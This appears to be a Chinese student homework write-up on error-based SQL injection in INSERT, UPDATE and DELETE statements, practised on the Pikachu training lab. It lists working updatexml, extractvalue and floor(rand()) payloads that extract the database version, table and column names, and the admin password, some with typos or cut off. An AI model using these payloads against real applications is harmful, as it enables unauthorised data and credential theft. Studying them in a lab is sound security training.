基于insert update delete注入利用案
黄教头第四周作业 基于insert update delete注入利用案
用单引号进行提交
返回错误信息
去到mysql里
insert into member (username,pw,sex,phonenum,email,address)values(‘xiaohong’,111111,1,2,3,4);
黄教头第四周作业 基于insert update delete注入利用案
黄教头第四周作业 基于insert update delete注入利用案
delete

kobe’ and updatexml(1,concat(0x7e,version()),0)#

kobe’ and updatexml(1,concat(0x7e,database()),0)#
#报错只能一次显示一行
kobe ’ and updatexml(1,concat(Ox7e,(select table_name from information_schema.tables wheretable_schema=‘pikachu’)),0)#
可以使用limit一次一次进行获取表名:
kobe ’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables wheretable_schema=‘pikachu’ limit 0,1)),0)#
获取到表名后, 在获取列明, 思路是一样的:
kobe ‘and updatexml(1,concat(0x7e,(select column_name from information_schema.columns wherelimit 0,1)),0)#
获取到列名称后, 再来获取数据:
kobe’and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)
kobe’ and updatexml(1,concat(0x7e,(select password from users where username=‘admin’ limit
基于insert/update下的报错:
xiaohong’ or updatexml(1,concat(0x7e,database()),0) or
基于delete下的报错:|
1 or updatexml(1,concat(Ox7e,database()),0)

基于报错的信息获取-三个常用的用来报错的函数-extractvalue()
extractvalue(函数作用:从目标XML中返回包含所查询值的字符串.
语法:ExtractValue(xml_document,xpath_string)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(Xpath格式的字符串)
Xpath定位必须是有效的,否则则会发生错误

kobe’and extractvalue (0,concat(0x7e,version()))#
拿到版本

黄教头第四周作业 基于insert update delete注入利用案

floor()取整
黄教头第四周作业 基于insert update delete注入利用案
kobe’and (select 2 from (select count(*),concat(version(),floor(rand()*2))x from information_schema.tables group by x)a)#
黄教头第四周作业 基于insert update delete注入利用案

相关文章:

  • 2022-12-23
  • 2022-01-29
  • 2021-12-13
  • 2021-07-20
  • 2021-10-29
  • 2021-09-17
  • 2022-12-23
  • 2021-06-23
猜你喜欢
  • 2021-11-04
  • 2022-01-14
  • 2021-06-15
  • 2021-05-23
  • 2021-05-11
  • 2021-09-04
  • 2022-12-23
相关资源
相似解决方案